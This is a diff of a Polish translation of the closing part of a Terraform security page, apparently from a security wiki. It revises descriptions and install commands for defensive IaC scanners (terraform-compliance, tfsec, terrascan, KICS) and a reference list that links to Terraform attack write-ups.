lekki framework testowy skoncentrowany na bezpieczeństwie i zgodności dla terraform, umożliwiający przeprowadzanie testów negatywnych dla twojej infrastruktury jako kodu. -- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów -- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC? -- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/) -- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem -- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane. -- **podział obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół. +- **compliance:** Zapewnia, że zaimplementowany kod przestrzega standardów bezpieczeństwa oraz twoich własnych, niestandardowych standardów +- **behaviour driven development:** Mamy BDD prawie do wszystkiego, dlaczego nie dla IaC? +- **portable:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** waliduje twój kod przed jego wdrożeniem +- **easy to integrate:** może uruchamiać się w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane. +- **segregation of duty:** możesz przechowywać swoje testy w innym repozytorium, za które odpowiada odrębny zespół. > [!NOTE] -> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia. +> Niestety, jeśli kod używa providerów, do których nie masz dostępu, nie będziesz w stanie wykonać `terraform plan` i uruchomić tego narzędzia. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -322,57 +348,70 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje analizę statyczną twojego kodu terraform, aby wykryć potencjalne błędy konfiguracyjne. +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. -- ☁️ Sprawdza błędy konfiguracyjne we wszystkich głównych (i niektórych mniejszych) dostawcach chmury +- ☁️ Sprawdza błędy konfiguracji u wszystkich głównych (i niektórych mniejszych) dostawców chmury - ⛔ Setki wbudowanych reguł - 🪆 Skanuje moduły (lokalne i zdalne) -- ➕ Ocenia wyrażenia HCL oraz wartości dosłowne -- ↪️ Ocenia funkcje Terraform, np. `concat()` -- 🔗 Ocenia relacje między zasobami Terraform +- ➕ Oceni wyrażenia HCL oraz wartości literalne +- ↪️ Oceni funkcje Terraform, np. `concat()` +- 🔗 Oceni zależności między zasobami Terraform - 🧰 Kompatybilny z Terraform CDK -- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego -- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. -- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego) -- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów +- 🙅 Stosuje (i rozszerza) zdefiniowane przez użytkownika polityki Rego +- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. +- 🛠️ Konfigurowalny (poprzez flagi CLI i/lub plik konfiguracyjny) +- ⚡ Bardzo szybki — potrafi skanować ogromne repozytoria w krótkim czasie ```bash brew install tfsec tfsec /path/to/folder ``` +### [terrascan](https://github.com/tenable/terrascan) + +Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan umożliwia: + +- Bezproblemowe skanowanie Infrastructure as Code pod kątem nieprawidłowych konfiguracji. +- Monitorowanie udostępnionej infrastruktury w chmurze pod kątem zmian konfiguracji wprowadzających odchylenia stanu zabezpieczeń (posture drift) oraz umożliwienie przywrócenia bezpiecznego stanu. +- Wykrywanie podatności i naruszeń zgodności. +- Redukcję ryzyka przed wdrożeniem natywnej infrastruktury w chmurze. +- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD. +```bash +brew install terrascan +terrascan scan -d /path/to/folder +``` ### [KICKS](https://github.com/Checkmarx/kics) -Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx. +Znajdź luki w zabezpieczeniach, problemy ze zgodnością i nieprawidłowe konfiguracje infrastruktury na wczesnym etapie cyklu rozwoju infrastruktury jako kodu za pomocą **KICS** od Checkmarx. -**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze. +**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest open source i jest niezbędny dla każdego projektu cloud native. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na: +Z [**docs**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na: -- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji. -- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian w konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy. -- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności. -- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej. -- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD. +- Bezproblemowe skanowanie Infrastructure as Code w poszukiwaniu nieprawidłowych konfiguracji. +- Monitorowanie provisioned cloud infrastructure pod kątem zmian konfiguracji powodujących posture drift oraz możliwość przywrócenia bezpiecznego stanu. +- Wykrywanie podatności bezpieczeństwa i naruszeń zgodności. +- Łagodzenie ryzyka przed provisioning cloud native infrastructure. +- Zapewnia elastyczność uruchamiania lokalnie lub integracji z CI\CD. ```bash brew install terrascan ``` -## Odniesienia +## Źródła - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) -- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) -- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) +- [Terraform Cloud – nadużycie tokena zamieniające speculative plan w remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) +- [Uprawnienia Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) - [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) -- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) +- [Konfiguracja providera AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) - [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) -- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) -- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) -- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) +- [GCP provider – Korzystanie z Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) +- [Terraform – Zmienne wrażliwe](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) +- [Snyk Labs – Gitflops: zagrożenia platform automatyzacji Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}